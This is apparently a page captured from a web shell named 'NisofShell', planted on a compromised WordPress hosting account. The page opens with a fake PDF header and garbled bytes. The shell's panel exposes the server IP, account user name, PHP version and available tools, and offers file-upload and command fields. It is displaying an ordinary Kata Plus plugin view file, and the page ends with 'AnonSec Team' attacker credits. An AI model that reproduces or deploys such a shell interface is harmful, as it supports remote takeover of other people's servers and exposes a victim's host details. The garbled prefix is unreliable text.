%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wellingtpa/www/wp-content/plugins/kata-plus/includes/elementor/modules/2-title/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/wellingtpa/www/wp-content/plugins/kata-plus/includes/elementor/modules/2-title/view.php
<?php
/**
 * Title module view.
 *
 * @author  ClimaxThemes
 * @package Kata Plus
 * @since   1.0.0
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$settings = $this->get_settings_for_display();
$this->add_inline_editing_attributes( 'title' );
$this->add_inline_editing_attributes( 'subtitle' );

$title = ! empty( $settings['title'] ) ? $settings['title'] : '';
if ( is_home() || is_archive() || is_category() || is_tag() || is_author() || is_tax() || is_search() ) {
	if ( empty( $title ) || strpos( $title, '{' ) !== false || $title === get_the_title() ) {
		if ( is_home() && get_option( 'page_for_posts' ) ) {
			$title = get_the_title( get_option( 'page_for_posts' ) );
		} elseif ( is_category() ) {
			$title = single_cat_title( '', false );
		} elseif ( is_tag() ) {
			$title = single_tag_title( '', false );
		} elseif ( is_author() ) {
			$title = get_the_author();
		} elseif ( is_tax() ) {
			$title = single_term_title( '', false );
		} elseif ( is_search() ) {
			$title = sprintf( __( 'Search Results for: %s', 'kata-plus' ), get_search_query() );
		} else {
			$archive_title = get_the_archive_title();
			if ( $archive_title ) {
				$title = $archive_title;
			}
		}
	}
}

$subtitle     = ! empty( $settings['subtitle'] ) ? $settings['subtitle'] : '';
$title_tag    = ! empty( $settings['title_tag'] ) ? $settings['title_tag'] : '';
$subtitle_tag = ! empty( $settings['subtitle_tag'] ) ? $settings['subtitle_tag'] : '';
$shapes       = $settings['shape'];
$url          = Kata_Plus_Helpers::get_link_attr( $settings['link'] );

if ( class_exists( 'Kata_Plus_Pro_Elementor' ) && ! empty( $settings['parallax'] ) ) {
	Kata_Plus_Pro_Elementor::start_parallax( $settings['parallax'], $settings['parallax_speed'], $settings['parallax_mouse_speed'] );
} ?>
<?php if ( $title || $subtitle ) : ?>
	<div class="kata-plus-title-wrapper">
		<?php
		if ( $url->src || $settings['link_to_home'] == 'yes' ) {
			$href = $settings['link_to_home'] == 'yes' ? 'href="' . esc_url( home_url() ) . '"' : $url->src;
			?>
			<a <?php echo $href . ' ' . $url->rel . ' ' . $url->target; ?> class="kata-title-url">
			<?php
		}
		?>
		<?php if ( $title ) { ?>
			<<?php echo Kata_Plus_Helpers::whitelist_html_tags( $title_tag, 'h2' ); ?> class="kata-plus-title elementor-inline-editing" <?php echo $this->get_render_attribute_string( 'title' ); ?>><?php echo wp_kses_post( $title ); ?></<?php echo Kata_Plus_Helpers::whitelist_html_tags( $title_tag, 'h2' ); ?>>
		<?php } ?>
		<?php if ( $subtitle ) { ?>
			<<?php echo Kata_Plus_Helpers::whitelist_html_tags( $subtitle_tag, 'h3' ); ?> class="kata-plus-subtitle elementor-inline-editing" <?php echo $this->get_render_attribute_string( 'subtitle' ); ?>><?php echo wp_kses_post( $subtitle ); ?></<?php echo Kata_Plus_Helpers::whitelist_html_tags( $subtitle_tag, 'h3' ); ?>>
			<?php
		}
		if ( $url->src || $settings['link_to_home'] == 'yes' ) {
			?>
			</a>
			<?php
		}
		if ( $shapes ) {
			foreach ( $shapes as $value ) {
				?>
				<span class="elementor-repeater-item-<?php echo esc_attr( $value['_id'] ); ?> kata-plus-shape" data-item-id="<?php echo isset( $value['shape']['citem'] ) ? esc_attr( $value['shape']['citem'] ) : ''; ?>"></span>
			<?php } ?>
		<?php } ?>
	</div>
	<?php
endif;
if ( class_exists( 'Kata_Plus_Pro_Elementor' ) && ! empty( $settings['parallax'] ) ) {
	Kata_Plus_Pro_Elementor::end_parallax( $settings['parallax'] );
}
if ( isset( $settings['custom_css'] ) ) {
	Kata_Plus_Elementor::module_custom_css_editor( $settings['custom_css'] );
}

Anon7 - 2022
AnonSec Team